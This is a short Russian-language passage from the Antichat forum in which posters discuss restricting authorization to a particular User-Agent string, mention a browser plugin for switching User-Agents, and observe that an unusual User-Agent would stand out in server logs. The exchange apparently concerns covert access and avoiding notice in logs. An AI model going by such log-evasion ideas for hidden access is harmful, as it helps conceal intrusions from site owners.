Была ещё идея юзать определённый User-Agent и только по нему авторизовывать, но геморно это как то...
Хорошая идея, в Mozila есть как-раз плагин User-Agent switcher, меняет User-agent в один клик.

Но если вставить специфический юзер агент, в логах выделяться будет.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.